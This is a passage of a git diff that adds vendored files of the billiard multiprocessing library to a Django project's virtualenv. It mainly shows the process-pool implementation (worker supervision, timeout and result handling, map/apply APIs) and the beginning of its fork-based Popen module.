for i, job in cache.items(): + ack_time = job._time_accepted + soft_timeout = job._soft_timeout + if soft_timeout is None: + soft_timeout = t_soft + hard_timeout = job._timeout + if hard_timeout is None: + hard_timeout = t_hard + if _timed_out(ack_time, hard_timeout): + on_hard_timeout(job) + elif i not in dirty and _timed_out(ack_time, soft_timeout): + on_soft_timeout(job) + dirty.add(i) + yield + + def body(self): + while self._state == RUN: + try: + for _ in self.handle_timeouts(): + time.sleep(1.0) # don't spin + except CoroStop: + break + debug('timeout handler exiting') + + def handle_event(self, *args): + if self._it is None: + self._it = self.handle_timeouts() + try: + next(self._it) + except StopIteration: + self._it = None + + +class ResultHandler(PoolThread): + + def __init__(self, outqueue, get, cache, poll, + join_exited_workers, putlock, restart_state, + check_timeouts, on_job_ready, on_ready_counters=None): + self.outqueue = outqueue + self.get = get + self.cache = cache + self.poll = poll + self.join_exited_workers = join_exited_workers + self.putlock = putlock + self.restart_state = restart_state + self._it = None + self._shutdown_complete = False + self.check_timeouts = check_timeouts + self.on_job_ready = on_job_ready + self.on_ready_counters = on_ready_counters + self._make_methods() + super(ResultHandler, self).__init__() + + def on_stop_not_started(self): + # used when pool started without result handler thread. + self.finish_at_shutdown(handle_timeouts=True) + + def _make_methods(self): + cache = self.cache + putlock = self.putlock + restart_state = self.restart_state + on_job_ready = self.on_job_ready + + def on_ack(job, i, time_accepted, pid, synqW_fd): + restart_state.R = 0 + try: + cache[job]._ack(i, time_accepted, pid, synqW_fd) + except (KeyError, AttributeError): + # Object gone or doesn't support _ack (e.g. IMAPIterator). + pass + + def on_ready(job, i, obj, inqW_fd): + if on_job_ready is not None: + on_job_ready(job, i, obj, inqW_fd) + try: + item = cache[job] + except KeyError: + return + + if self.on_ready_counters: + worker_pid = next(iter(item.worker_pids()), None) + if worker_pid and worker_pid in self.on_ready_counters: + on_ready_counter = self.on_ready_counters[worker_pid] + with on_ready_counter.get_lock(): + on_ready_counter.value += 1 + + if not item.ready(): + if putlock is not None: + putlock.release() + try: + item._set(i, obj) + except KeyError: + pass + + def on_death(pid, exitcode): + try: + os.kill(pid, TERM_SIGNAL) + except OSError as exc: + if get_errno(exc) != errno.ESRCH: + raise + + state_handlers = self.state_handlers = { + ACK: on_ack, READY: on_ready, DEATH: on_death + } + + def on_state_change(task): + state, args = task + try: + state_handlers[state](*args) + except KeyError: + debug("Unknown job state: %s (args=%s)", state, args) + self.on_state_change = on_state_change + + def _process_result(self, timeout=1.0): + poll = self.poll + on_state_change = self.on_state_change + + while 1: + try: + ready, task = poll(timeout) + except (IOError, EOFError) as exc: + debug('result handler got %r -- exiting', exc) + raise CoroStop() + + if self._state: + assert self._state == TERMINATE + debug('result handler found thread._state=TERMINATE') + raise CoroStop() + + if ready: + if task is None: + debug('result handler got sentinel') + raise CoroStop() + on_state_change(task) + if timeout != 0: # blocking + break + else: + break + yield + + def handle_event(self, fileno=None, events=None): + if self._state == RUN: + if self._it is None: + self._it = self._process_result(0) # non-blocking + try: + next(self._it) + except (StopIteration, CoroStop): + self._it = None + + def body(self): + debug('result handler starting') + try: + while self._state == RUN: + try: + for _ in self._process_result(1.0): # blocking + pass + except CoroStop: + break + finally: + self.finish_at_shutdown() + + def finish_at_shutdown(self, handle_timeouts=False): + self._shutdown_complete = True + get = self.get + outqueue = self.outqueue + cache = self.cache + poll = self.poll + join_exited_workers = self.join_exited_workers + check_timeouts = self.check_timeouts + on_state_change = self.on_state_change + + time_terminate = None + while cache and self._state != TERMINATE: + if check_timeouts is not None: + check_timeouts() + try: + ready, task = poll(1.0) + except (IOError, EOFError) as exc: + debug('result handler got %r -- exiting', exc) + return + + if ready: + if task is None: + debug('result handler ignoring extra sentinel') + continue + + on_state_change(task) + try: + join_exited_workers(shutdown=True) + except WorkersJoined: + now = monotonic() + if not time_terminate: + time_terminate = now + else: + if now - time_terminate > 5.0: + debug('result handler exiting: timed out') + break + debug('result handler: all workers terminated, ' + 'timeout in %ss', + abs(min(now - time_terminate - 5.0, 0))) + + if hasattr(outqueue, '_reader'): + debug('ensuring that outqueue is not full') + # If we don't make room available in outqueue then + # attempts to add the sentinel (None) to outqueue may + # block. There is guaranteed to be no more than 2 sentinels. + try: + for i in range(10): + if not outqueue._reader.poll(): + break + get() + except (IOError, EOFError): + pass + + debug('result handler exiting: len(cache)=%s, thread._state=%s', + len(cache), self._state) + + +class Pool(object): + ''' + Class which supports an async version of applying functions to arguments. + ''' + _wrap_exception = True + Worker = Worker + Supervisor = Supervisor + TaskHandler = TaskHandler + TimeoutHandler = TimeoutHandler + ResultHandler = ResultHandler + SoftTimeLimitExceeded = SoftTimeLimitExceeded + + def __init__(self, processes=None, initializer=None, initargs=(), + maxtasksperchild=None, timeout=None, soft_timeout=None, + lost_worker_timeout=None, + max_restarts=None, max_restart_freq=1, + on_process_up=None, + on_process_down=None, + on_timeout_set=None, + on_timeout_cancel=None, + threads=True, + semaphore=None, + putlocks=False, + allow_restart=False, + synack=False, + on_process_exit=None, + context=None, + max_memory_per_child=None, + enable_timeouts=False, + **kwargs): + self._ctx = context or get_context() + self.synack = synack + self._setup_queues() + self._taskqueue = Queue() + self._cache = {} + self._state = RUN + self.timeout = timeout + self.soft_timeout = soft_timeout + self._maxtasksperchild = maxtasksperchild + self._max_memory_per_child = max_memory_per_child + self._initializer = initializer + self._initargs = initargs + self._on_process_exit = on_process_exit + self.lost_worker_timeout = lost_worker_timeout or LOST_WORKER_TIMEOUT + self.on_process_up = on_process_up + self.on_process_down = on_process_down + self.on_timeout_set = on_timeout_set + self.on_timeout_cancel = on_timeout_cancel + self.threads = threads + self.readers = {} + self.allow_restart = allow_restart + + self.enable_timeouts = bool( + enable_timeouts or + self.timeout is not None or + self.soft_timeout is not None + ) + + if soft_timeout and SIG_SOFT_TIMEOUT is None: + warnings.warn(UserWarning( + "Soft timeouts are not supported: " + "on this platform: It does not have the SIGUSR1 signal.", + )) + soft_timeout = None + + self._processes = self.cpu_count() if processes is None else processes + self.max_restarts = max_restarts or round(self._processes * 100) + self.restart_state = restart_state(max_restarts, max_restart_freq or 1) + + if initializer is not None and not callable(initializer): + raise TypeError('initializer must be a callable') + + if on_process_exit is not None and not callable(on_process_exit): + raise TypeError('on_process_exit must be callable') + + self._Process = self._ctx.Process + + self._pool = [] + self._poolctrl = {} + self._on_ready_counters = {} + self.putlocks = putlocks + self._putlock = semaphore or LaxBoundedSemaphore(self._processes) + for i in range(self._processes): + self._create_worker_process(i) + + self._worker_handler = self.Supervisor(self) + if threads: + self._worker_handler.start() + + self._task_handler = self.TaskHandler(self._taskqueue, + self._quick_put, + self._outqueue, + self._pool, + self._cache) + if threads: + self._task_handler.start() + + self.check_timeouts = None + + # Thread killing timedout jobs. + if self.enable_timeouts: + self._timeout_handler = self.TimeoutHandler( + self._pool, self._cache, + self.soft_timeout, self.timeout, + ) + self._timeout_handler_mutex = Lock() + self._timeout_handler_started = False + self._start_timeout_handler() + # If running without threads, we need to check for timeouts + # while waiting for unfinished work at shutdown. + if not threads: + self.check_timeouts = self._timeout_handler.handle_event + else: + self._timeout_handler = None + self._timeout_handler_started = False + self._timeout_handler_mutex = None + + # Thread processing results in the outqueue. + self._result_handler = self.create_result_handler() + self.handle_result_event = self._result_handler.handle_event + + if threads: + self._result_handler.start() + + self._terminate = Finalize( + self, self._terminate_pool, + args=(self._taskqueue, self._inqueue, self._outqueue, + self._pool, self._worker_handler, self._task_handler, + self._result_handler, self._cache, + self._timeout_handler, + self._help_stuff_finish_args()), + exitpriority=15, + ) + + def Process(self, *args, **kwds): + return self._Process(*args, **kwds) + + def WorkerProcess(self, worker): + return worker.contribute_to_object(self.Process(target=worker)) + + def create_result_handler(self, **extra_kwargs): + return self.ResultHandler( + self._outqueue, self._quick_get, self._cache, + self._poll_result, self._join_exited_workers, + self._putlock, self.restart_state, self.check_timeouts, + self.on_job_ready, on_ready_counters=self._on_ready_counters, + **extra_kwargs + ) + + def on_job_ready(self, job, i, obj, inqW_fd): + pass + + def _help_stuff_finish_args(self): + return self._inqueue, self._task_handler, self._pool + + def cpu_count(self): + try: + return cpu_count() + except NotImplementedError: + return 1 + + def handle_result_event(self, *args): + return self._result_handler.handle_event(*args) + + def _process_register_queues(self, worker, queues): + pass + + def _process_by_pid(self, pid): + return next(( + (proc, i) for i, proc in enumerate(self._pool) + if proc.pid == pid + ), (None, None)) + + def get_process_queues(self): + return self._inqueue, self._outqueue, None + + def _create_worker_process(self, i): + sentinel = self._ctx.Event() if self.allow_restart else None + inq, outq, synq = self.get_process_queues() + on_ready_counter = self._ctx.Value('i') + w = self.WorkerProcess(self.Worker( + inq, outq, synq, self._initializer, self._initargs, + self._maxtasksperchild, sentinel, self._on_process_exit, + # Need to handle all signals if using the ipc semaphore, + # to make sure the semaphore is released. + sigprotection=self.threads, + wrap_exception=self._wrap_exception, + max_memory_per_child=self._max_memory_per_child, + on_ready_counter=on_ready_counter, + )) + self._pool.append(w) + self._process_register_queues(w, (inq, outq, synq)) + w.name = w.name.replace('Process', 'PoolWorker') + w.daemon = True + w.index = i + w.start() + self._poolctrl[w.pid] = sentinel + self._on_ready_counters[w.pid] = on_ready_counter + if self.on_process_up: + self.on_process_up(w) + return w + + def process_flush_queues(self, worker): + pass + + def _join_exited_workers(self, shutdown=False): + """Cleanup after any worker processes which have exited due to + reaching their specified lifetime. Returns True if any workers were + cleaned up. + """ + now = None + # The worker may have published a result before being terminated, + # but we have no way to accurately tell if it did. So we wait for + # _lost_worker_timeout seconds before we mark the job with + # WorkerLostError. + for job in [job for job in list(self._cache.values()) + if not job.ready() and job._worker_lost]: + now = now or monotonic() + lost_time, lost_ret = job._worker_lost + if now - lost_time > job._lost_worker_timeout: + self.mark_as_worker_lost(job, lost_ret) + + if shutdown and not len(self._pool): + raise WorkersJoined() + + cleaned, exitcodes = {}, {} + for i in reversed(range(len(self._pool))): + worker = self._pool[i] + exitcode = worker.exitcode + popen = worker._popen + if popen is None or exitcode is not None: + # worker exited + debug('Supervisor: cleaning up worker %d', i) + if popen is not None: + worker.join() + debug('Supervisor: worked %d joined', i) + cleaned[worker.pid] = worker + exitcodes[worker.pid] = exitcode + if exitcode not in (EX_OK, EX_RECYCLE) and \ + not getattr(worker, '_controlled_termination', False): + error( + 'Process %r pid:%r exited with %r', + worker.name, worker.pid, human_status(exitcode), + exc_info=0, + ) + self.process_flush_queues(worker) + del self._pool[i] + del self._poolctrl[worker.pid] + del self._on_ready_counters[worker.pid] + if cleaned: + all_pids = [w.pid for w in self._pool] + for job in list(self._cache.values()): + acked_by_gone = next( + (pid for pid in job.worker_pids() + if pid in cleaned or pid not in all_pids), + None + ) + # already accepted by process + if acked_by_gone: + self.on_job_process_down(job, acked_by_gone) + if not job.ready(): + exitcode = exitcodes.get(acked_by_gone) or 0 + proc = cleaned.get(acked_by_gone) + if proc and getattr(proc, '_job_terminated', False): + job._set_terminated(exitcode) + else: + self.on_job_process_lost( + job, acked_by_gone, exitcode, + ) + else: + # started writing to + write_to = job._write_to + # was scheduled to write to + sched_for = job._scheduled_for + + if write_to and not write_to._is_alive(): + self.on_job_process_down(job, write_to.pid) + elif sched_for and not sched_for._is_alive(): + self.on_job_process_down(job, sched_for.pid) + + for worker in values(cleaned): + if self.on_process_down: + if not shutdown: + self._process_cleanup_queues(worker) + self.on_process_down(worker) + return list(exitcodes.values()) + return [] + + def on_partial_read(self, job, worker): + pass + + def _process_cleanup_queues(self, worker): + pass + + def on_job_process_down(self, job, pid_gone): + pass + + def on_job_process_lost(self, job, pid, exitcode): + job._worker_lost = (monotonic(), exitcode) + + def mark_as_worker_lost(self, job, exitcode): + try: + raise WorkerLostError( + 'Worker exited prematurely: {0} Job: {1}.'.format( + human_status(exitcode), job._job), + ) + except WorkerLostError: + job._set(None, (False, ExceptionInfo())) + else: # pragma: no cover + pass + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + return self.terminate() + + def on_grow(self, n): + pass + + def on_shrink(self, n): + pass + + def shrink(self, n=1): + for i, worker in enumerate(self._iterinactive()): + self._processes -= 1 + if self._putlock: + self._putlock.shrink() + worker.terminate_controlled() + self.on_shrink(1) + if i >= n - 1: + break + else: + raise ValueError("Can't shrink pool. All processes busy!") + + def grow(self, n=1): + for i in range(n): + self._processes += 1 + if self._putlock: + self._putlock.grow() + self.on_grow(n) + + def _iterinactive(self): + for worker in self._pool: + if not self._worker_active(worker): + yield worker + + def _worker_active(self, worker): + for job in values(self._cache): + if worker.pid in job.worker_pids(): + return True + return False + + def _repopulate_pool(self, exitcodes): + """Bring the number of pool processes up to the specified number, + for use after reaping workers which have exited. + """ + for i in range(self._processes - len(self._pool)): + if self._state != RUN: + return + try: + if exitcodes and exitcodes[i] not in (EX_OK, EX_RECYCLE): + self.restart_state.step() + except IndexError: + self.restart_state.step() + self._create_worker_process(self._avail_index()) + debug('added worker') + + def _avail_index(self): + assert len(self._pool) < self._processes + indices = set(p.index for p in self._pool) + return next(i for i in range(self._processes) if i not in indices) + + def did_start_ok(self): + return not self._join_exited_workers() + + def _maintain_pool(self): + """"Clean up any exited workers and start replacements for them. + """ + joined = self._join_exited_workers() + self._repopulate_pool(joined) + for i in range(len(joined)): + if self._putlock is not None: + self._putlock.release() + + def maintain_pool(self): + if self._worker_handler._state == RUN and self._state == RUN: + try: + self._maintain_pool() + except RestartFreqExceeded: + self.close() + self.join() + raise + except OSError as exc: + if get_errno(exc) == errno.ENOMEM: + reraise(MemoryError, + MemoryError(str(exc)), + sys.exc_info()[2]) + raise + + def _setup_queues(self): + self._inqueue = self._ctx.SimpleQueue() + self._outqueue = self._ctx.SimpleQueue() + self._quick_put = self._inqueue._writer.send + self._quick_get = self._outqueue._reader.recv + + def _poll_result(timeout): + if self._outqueue._reader.poll(timeout): + return True, self._quick_get() + return False, None + self._poll_result = _poll_result + + def _start_timeout_handler(self): + # ensure more than one thread does not start the timeout handler + # thread at once. + if self.threads and self._timeout_handler is not None: + with self._timeout_handler_mutex: + if not self._timeout_handler_started: + self._timeout_handler_started = True + self._timeout_handler.start() + + def apply(self, func, args=(), kwds={}): + ''' + Equivalent of `func(*args, **kwargs)`. + ''' + if self._state == RUN: + return self.apply_async(func, args, kwds).get() + + def starmap(self, func, iterable, chunksize=None): + ''' + Like `map()` method but the elements of the `iterable` are expected to + be iterables as well and will be unpacked as arguments. Hence + `func` and (a, b) becomes func(a, b). + ''' + if self._state == RUN: + return self._map_async(func, iterable, + starmapstar, chunksize).get() + + def starmap_async(self, func, iterable, chunksize=None, + callback=None, error_callback=None): + ''' + Asynchronous version of `starmap()` method. + ''' + if self._state == RUN: + return self._map_async(func, iterable, starmapstar, chunksize, + callback, error_callback) + + def map(self, func, iterable, chunksize=None): + ''' + Apply `func` to each element in `iterable`, collecting the results + in a list that is returned. + ''' + if self._state == RUN: + return self.map_async(func, iterable, chunksize).get() + + def imap(self, func, iterable, chunksize=1, lost_worker_timeout=None): + ''' + Equivalent of `map()` -- can be MUCH slower than `Pool.map()`. + ''' + if self._state != RUN: + return + lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout + if chunksize == 1: + result = IMapIterator(self._cache, + lost_worker_timeout=lost_worker_timeout) + self._taskqueue.put(( + ((TASK, (result._job, i, func, (x,), {})) + for i, x in enumerate(iterable)), + result._set_length, + )) + return result + else: + assert chunksize > 1 + task_batches = Pool._get_tasks(func, iterable, chunksize) + result = IMapIterator(self._cache, + lost_worker_timeout=lost_worker_timeout) + self._taskqueue.put(( + ((TASK, (result._job, i, mapstar, (x,), {})) + for i, x in enumerate(task_batches)), + result._set_length, + )) + return (item for chunk in result for item in chunk) + + def imap_unordered(self, func, iterable, chunksize=1, + lost_worker_timeout=None): + ''' + Like `imap()` method but ordering of results is arbitrary. + ''' + if self._state != RUN: + return + lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout + if chunksize == 1: + result = IMapUnorderedIterator( + self._cache, lost_worker_timeout=lost_worker_timeout, + ) + self._taskqueue.put(( + ((TASK, (result._job, i, func, (x,), {})) + for i, x in enumerate(iterable)), + result._set_length, + )) + return result + else: + assert chunksize > 1 + task_batches = Pool._get_tasks(func, iterable, chunksize) + result = IMapUnorderedIterator( + self._cache, lost_worker_timeout=lost_worker_timeout, + ) + self._taskqueue.put(( + ((TASK, (result._job, i, mapstar, (x,), {})) + for i, x in enumerate(task_batches)), + result._set_length, + )) + return (item for chunk in result for item in chunk) + + def apply_async(self, func, args=(), kwds={}, + callback=None, error_callback=None, accept_callback=None, + timeout_callback=None, waitforslot=None, + soft_timeout=None, timeout=None, lost_worker_timeout=None, + callbacks_propagate=(), + correlation_id=None): + ''' + Asynchronous equivalent of `apply()` method. + + Callback is called when the functions return value is ready. + The accept callback is called when the job is accepted to be executed. + + Simplified the flow is like this: + + >>> def apply_async(func, args, kwds, callback, accept_callback): + ... if accept_callback: + ... accept_callback() + ... retval = func(*args, **kwds) + ... if callback: + ... callback(retval) + + ''' + if self._state != RUN: + return + soft_timeout = soft_timeout or self.soft_timeout + timeout = timeout or self.timeout + lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout + if soft_timeout and SIG_SOFT_TIMEOUT is None: + warnings.warn(UserWarning( + "Soft timeouts are not supported: " + "on this platform: It does not have the SIGUSR1 signal.", + )) + soft_timeout = None + if self._state == RUN: + waitforslot = self.putlocks if waitforslot is None else waitforslot + if waitforslot and self._putlock is not None: + self._putlock.acquire() + result = ApplyResult( + self._cache, callback, accept_callback, timeout_callback, + error_callback, soft_timeout, timeout, lost_worker_timeout, + on_timeout_set=self.on_timeout_set, + on_timeout_cancel=self.on_timeout_cancel, + callbacks_propagate=callbacks_propagate, + send_ack=self.send_ack if self.synack else None, + correlation_id=correlation_id, + ) + if timeout or soft_timeout: + # start the timeout handler thread when required. + self._start_timeout_handler() + if self.threads: + self._taskqueue.put(([(TASK, (result._job, None, + func, args, kwds))], None)) + else: + self._quick_put((TASK, (result._job, None, func, args, kwds))) + return result + + def send_ack(self, response, job, i, fd): + pass + + def terminate_job(self, pid, sig=None): + proc, _ = self._process_by_pid(pid) + if proc is not None: + try: + _kill(pid, sig or TERM_SIGNAL) + except OSError as exc: + if get_errno(exc) != errno.ESRCH: + raise + else: + proc._controlled_termination = True + proc._job_terminated = True + + def map_async(self, func, iterable, chunksize=None, + callback=None, error_callback=None): + ''' + Asynchronous equivalent of `map()` method. + ''' + return self._map_async( + func, iterable, mapstar, chunksize, callback, error_callback, + ) + + def _map_async(self, func, iterable, mapper, chunksize=None, + callback=None, error_callback=None): + ''' + Helper function to implement map, starmap and their async counterparts. + ''' + if self._state != RUN: + return + if not hasattr(iterable, '__len__'): + iterable = list(iterable) + + if chunksize is None: + chunksize, extra = divmod(len(iterable), len(self._pool) * 4) + if extra: + chunksize += 1 + if len(iterable) == 0: + chunksize = 0 + + task_batches = Pool._get_tasks(func, iterable, chunksize) + result = MapResult(self._cache, chunksize, len(iterable), callback, + error_callback=error_callback) + self._taskqueue.put((((TASK, (result._job, i, mapper, (x,), {})) + for i, x in enumerate(task_batches)), None)) + return result + + @staticmethod + def _get_tasks(func, it, size): + it = iter(it) + while 1: + x = tuple(itertools.islice(it, size)) + if not x: + return + yield (func, x) + + def __reduce__(self): + raise NotImplementedError( + 'pool objects cannot be passed between processes or pickled', + ) + + def close(self): + debug('closing pool') + if self._state == RUN: + self._state = CLOSE + if self._putlock: + self._putlock.clear() + self._worker_handler.close() + self._taskqueue.put(None) + stop_if_not_current(self._worker_handler) + + def terminate(self): + debug('terminating pool') + self._state = TERMINATE + self._worker_handler.terminate() + self._terminate() + + @staticmethod + def _stop_task_handler(task_handler): + stop_if_not_current(task_handler) + + def join(self): + assert self._state in (CLOSE, TERMINATE) + debug('joining worker handler') + stop_if_not_current(self._worker_handler) + debug('joining task handler') + self._stop_task_handler(self._task_handler) + debug('joining result handler') + stop_if_not_current(self._result_handler) + debug('result handler joined') + for i, p in enumerate(self._pool): + debug('joining worker %s/%s (%r)', i + 1, len(self._pool), p) + if p._popen is not None: # process started? + p.join() + debug('pool join complete') + + def restart(self): + for e in values(self._poolctrl): + e.set() + + @staticmethod + def _help_stuff_finish(inqueue, task_handler, _pool): + # task_handler may be blocked trying to put items on inqueue + debug('removing tasks from inqueue until task handler finished') + inqueue._rlock.acquire() + while task_handler.is_alive() and inqueue._reader.poll(): + inqueue._reader.recv() + time.sleep(0) + + @classmethod + def _set_result_sentinel(cls, outqueue, pool): + outqueue.put(None) + + @classmethod + def _terminate_pool(cls, taskqueue, inqueue, outqueue, pool, + worker_handler, task_handler, + result_handler, cache, timeout_handler, + help_stuff_finish_args): + + # this is guaranteed to only be called once + debug('finalizing pool') + + worker_handler.terminate() + + task_handler.terminate() + taskqueue.put(None) # sentinel + + debug('helping task handler/workers to finish') + cls._help_stuff_finish(*help_stuff_finish_args) + + result_handler.terminate() + cls._set_result_sentinel(outqueue, pool) + + if timeout_handler is not None: + timeout_handler.terminate() + + # Terminate workers which haven't already finished + if pool and hasattr(pool[0], 'terminate'): + debug('terminating workers') + for p in pool: + if p._is_alive(): + p.terminate() + + debug('joining task handler') + cls._stop_task_handler(task_handler) + + debug('joining result handler') + result_handler.stop() + + if timeout_handler is not None: + debug('joining timeout handler') + timeout_handler.stop(TIMEOUT_MAX) + + if pool and hasattr(pool[0], 'terminate'): + debug('joining pool workers') + for p in pool: + if p.is_alive(): + # worker has not yet exited + debug('cleaning up worker %d', p.pid) + if p._popen is not None: + p.join() + debug('pool workers joined') + + if inqueue: + inqueue.close() + if outqueue: + outqueue.close() + + @property + def process_sentinels(self): + return [w._popen.sentinel for w in self._pool] + +# +# Class whose instances are returned by `Pool.apply_async()` +# + + +class ApplyResult(object): + _worker_lost = None + _write_to = None + _scheduled_for = None + + def __init__(self, cache, callback, accept_callback=None, + timeout_callback=None, error_callback=None, soft_timeout=None, + timeout=None, lost_worker_timeout=LOST_WORKER_TIMEOUT, + on_timeout_set=None, on_timeout_cancel=None, + callbacks_propagate=(), send_ack=None, + correlation_id=None): + self.correlation_id = correlation_id + self._mutex = Lock() + self._event = threading.Event() + self._job = next(job_counter) + self._cache = cache + self._callback = callback + self._accept_callback = accept_callback + self._error_callback = error_callback + self._timeout_callback = timeout_callback + self._timeout = timeout + self._soft_timeout = soft_timeout + self._lost_worker_timeout = lost_worker_timeout + self._on_timeout_set = on_timeout_set + self._on_timeout_cancel = on_timeout_cancel + self._callbacks_propagate = callbacks_propagate or () + self._send_ack = send_ack + + self._accepted = False + self._cancelled = False + self._worker_pid = None + self._time_accepted = None + self._terminated = None + cache[self._job] = self + + def __repr__(self): + return '<%s: {id} ack:{ack} ready:{ready}>'.format( + self.__class__.__name__, + id=self._job, ack=self._accepted, ready=self.ready(), + ) + + def ready(self): + return self._event.isSet() + + def accepted(self): + return self._accepted + + def successful(self): + assert self.ready() + return self._success + + def _cancel(self): + """Only works if synack is used.""" + self._cancelled = True + + def discard(self): + self._cache.pop(self._job, None) + + def terminate(self, signum): + self._terminated = signum + + def _set_terminated(self, signum=None): + try: + raise Terminated(-(signum or 0)) + except Terminated: + self._set(None, (False, ExceptionInfo())) + + def worker_pids(self): + return [self._worker_pid] if self._worker_pid else [] + + def wait(self, timeout=None): + self._event.wait(timeout) + + def get(self, timeout=None): + self.wait(timeout) + if not self.ready(): + raise TimeoutError + if self._success: + return self._value + else: + raise self._value.exception + + def safe_apply_callback(self, fun, *args, **kwargs): + if fun: + try: + fun(*args, **kwargs) + except self._callbacks_propagate: + raise + except Exception as exc: + error('Pool callback raised exception: %r', exc, + exc_info=1) + + def handle_timeout(self, soft=False): + if self._timeout_callback is not None: + self.safe_apply_callback( + self._timeout_callback, soft=soft, + timeout=self._soft_timeout if soft else self._timeout, + ) + + def _set(self, i, obj): + with self._mutex: + if self._on_timeout_cancel: + self._on_timeout_cancel(self) + self._success, self._value = obj + self._event.set() + if self._accepted: + # if not accepted yet, then the set message + # was received before the ack, which means + # the ack will remove the entry. + self._cache.pop(self._job, None) + + # apply callbacks last + if self._callback and self._success: + self.safe_apply_callback( + self._callback, self._value) + if (self._value is not None and + self._error_callback and not self._success): + self.safe_apply_callback( + self._error_callback, self._value) + + def _ack(self, i, time_accepted, pid, synqW_fd): + with self._mutex: + if self._cancelled and self._send_ack: + self._accepted = True + if synqW_fd: + return self._send_ack(NACK, pid, self._job, synqW_fd) + return + self._accepted = True + self._time_accepted = time_accepted + self._worker_pid = pid + if self.ready(): + # ack received after set() + self._cache.pop(self._job, None) + if self._on_timeout_set: + self._on_timeout_set(self, self._soft_timeout, self._timeout) + response = ACK + if self._accept_callback: + try: + self._accept_callback(pid, time_accepted) + except self._propagate_errors: + response = NACK + raise + except Exception: + response = NACK + # ignore other errors + finally: + if self._send_ack and synqW_fd: + return self._send_ack( + response, pid, self._job, synqW_fd + ) + if self._send_ack and synqW_fd: + self._send_ack(response, pid, self._job, synqW_fd) + +# +# Class whose instances are returned by `Pool.map_async()` +# + + +class MapResult(ApplyResult): + + def __init__(self, cache, chunksize, length, callback, error_callback): + ApplyResult.__init__( + self, cache, callback, error_callback=error_callback, + ) + self._success = True + self._length = length + self._value = [None] * length + self._accepted = [False] * length + self._worker_pid = [None] * length + self._time_accepted = [None] * length + self._chunksize = chunksize + if chunksize <= 0: + self._number_left = 0 + self._event.set() + del cache[self._job] + else: + self._number_left = length // chunksize + bool(length % chunksize) + + def _set(self, i, success_result): + success, result = success_result + if success: + self._value[i * self._chunksize:(i + 1) * self._chunksize] = result + self._number_left -= 1 + if self._number_left == 0: + if self._callback: + self._callback(self._value) + if self._accepted: + self._cache.pop(self._job, None) + self._event.set() + else: + self._success = False + self._value = result + if self._error_callback: + self._error_callback(self._value) + if self._accepted: + self._cache.pop(self._job, None) + self._event.set() + + def _ack(self, i, time_accepted, pid, *args): + start = i * self._chunksize + stop = min((i + 1) * self._chunksize, self._length) + for j in range(start, stop): + self._accepted[j] = True + self._worker_pid[j] = pid + self._time_accepted[j] = time_accepted + if self.ready(): + self._cache.pop(self._job, None) + + def accepted(self): + return all(self._accepted) + + def worker_pids(self): + return [pid for pid in self._worker_pid if pid] + +# +# Class whose instances are returned by `Pool.imap()` +# + + +class IMapIterator(object): + _worker_lost = None + + def __init__(self, cache, lost_worker_timeout=LOST_WORKER_TIMEOUT): + self._cond = threading.Condition(threading.Lock()) + self._job = next(job_counter) + self._cache = cache + self._items = deque() + self._index = 0 + self._length = None + self._ready = False + self._unsorted = {} + self._worker_pids = [] + self._lost_worker_timeout = lost_worker_timeout + cache[self._job] = self + + def __iter__(self): + return self + + def next(self, timeout=None): + with self._cond: + try: + item = self._items.popleft() + except IndexError: + if self._index == self._length: + self._ready = True + raise StopIteration + self._cond.wait(timeout) + try: + item = self._items.popleft() + except IndexError: + if self._index == self._length: + self._ready = True + raise StopIteration + raise TimeoutError + + success, value = item + if success: + return value + raise Exception(value) + + __next__ = next # XXX + + def _set(self, i, obj): + with self._cond: + if self._index == i: + self._items.append(obj) + self._index += 1 + while self._index in self._unsorted: + obj = self._unsorted.pop(self._index) + self._items.append(obj) + self._index += 1 + self._cond.notify() + else: + self._unsorted[i] = obj + + if self._index == self._length: + self._ready = True + del self._cache[self._job] + + def _set_length(self, length): + with self._cond: + self._length = length + if self._index == self._length: + self._ready = True + self._cond.notify() + del self._cache[self._job] + + def _ack(self, i, time_accepted, pid, *args): + self._worker_pids.append(pid) + + def ready(self): + return self._ready + + def worker_pids(self): + return self._worker_pids + +# +# Class whose instances are returned by `Pool.imap_unordered()` +# + + +class IMapUnorderedIterator(IMapIterator): + + def _set(self, i, obj): + with self._cond: + self._items.append(obj) + self._index += 1 + self._cond.notify() + if self._index == self._length: + self._ready = True + del self._cache[self._job] + +# +# +# + + +class ThreadPool(Pool): + + from .dummy import Process as DummyProcess + Process = DummyProcess + + def __init__(self, processes=None, initializer=None, initargs=()): + Pool.__init__(self, processes, initializer, initargs) + + def _setup_queues(self): + self._inqueue = Queue() + self._outqueue = Queue() + self._quick_put = self._inqueue.put + self._quick_get = self._outqueue.get + + def _poll_result(timeout): + try: + return True, self._quick_get(timeout=timeout) + except Empty: + return False, None + self._poll_result = _poll_result + + @staticmethod + def _help_stuff_finish(inqueue, task_handler, pool): + # put sentinels at head of inqueue to make workers finish + with inqueue.not_empty: + inqueue.queue.clear() + inqueue.queue.extend([None] * len(pool)) + inqueue.not_empty.notify_all() diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/popen_fork.py b/django_lottopy/lib/python3.10/site-packages/billiard/popen_fork.py new file mode 100644 index 00000000..8e03f4fd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/popen_fork.py @@ -0,0 +1,91 @@ +from __future__ import absolute_import + +import os +import sys +import errno + +from .common import TERM_SIGNAL + +__all__ = ['Popen'] + +# +# Start child process using fork +# + + +class Popen(object): + method = 'fork' + sentinel = None + + def __init__(self, process_obj): + sys.stdout.flush() + sys.stderr.flush() + self.returncode = None + self._launch(process_obj) + + def duplicate_for_child(self, fd): + return fd + + def poll(self, flag=os.WNOHANG): + if self.returncode is None: + while True: + try: + pid, sts = os.waitpid(self.pid, flag) + except OSError as e: + if e.errno == errno.EINTR: + continue + # Child process not yet created. See #1731717 + # e.errno == errno.ECHILD == 10 + return None + else: + break + if pid == self.pid: + if os.WIFSIGNALED(sts): + self.returncode = -os.WTERMSIG(sts) + else: + assert os.WIFEXITED(sts) + self.returncode = os.WEXITSTATUS(sts) + return self.returncode + + def wait(self, timeout=None): + if self.returncode is None: + if timeout is not None: + from .connection import wait + if not wait([self.sentinel], timeout): + return None + # This shouldn't block if wait() returned successfully. + return self.poll(os.WNOHANG if timeout == 0.0 else 0) + return self.returncode + + def terminate(self): + if self.returncode is None: + try: + os.kill(self.pid, TERM_SIGNAL) + except 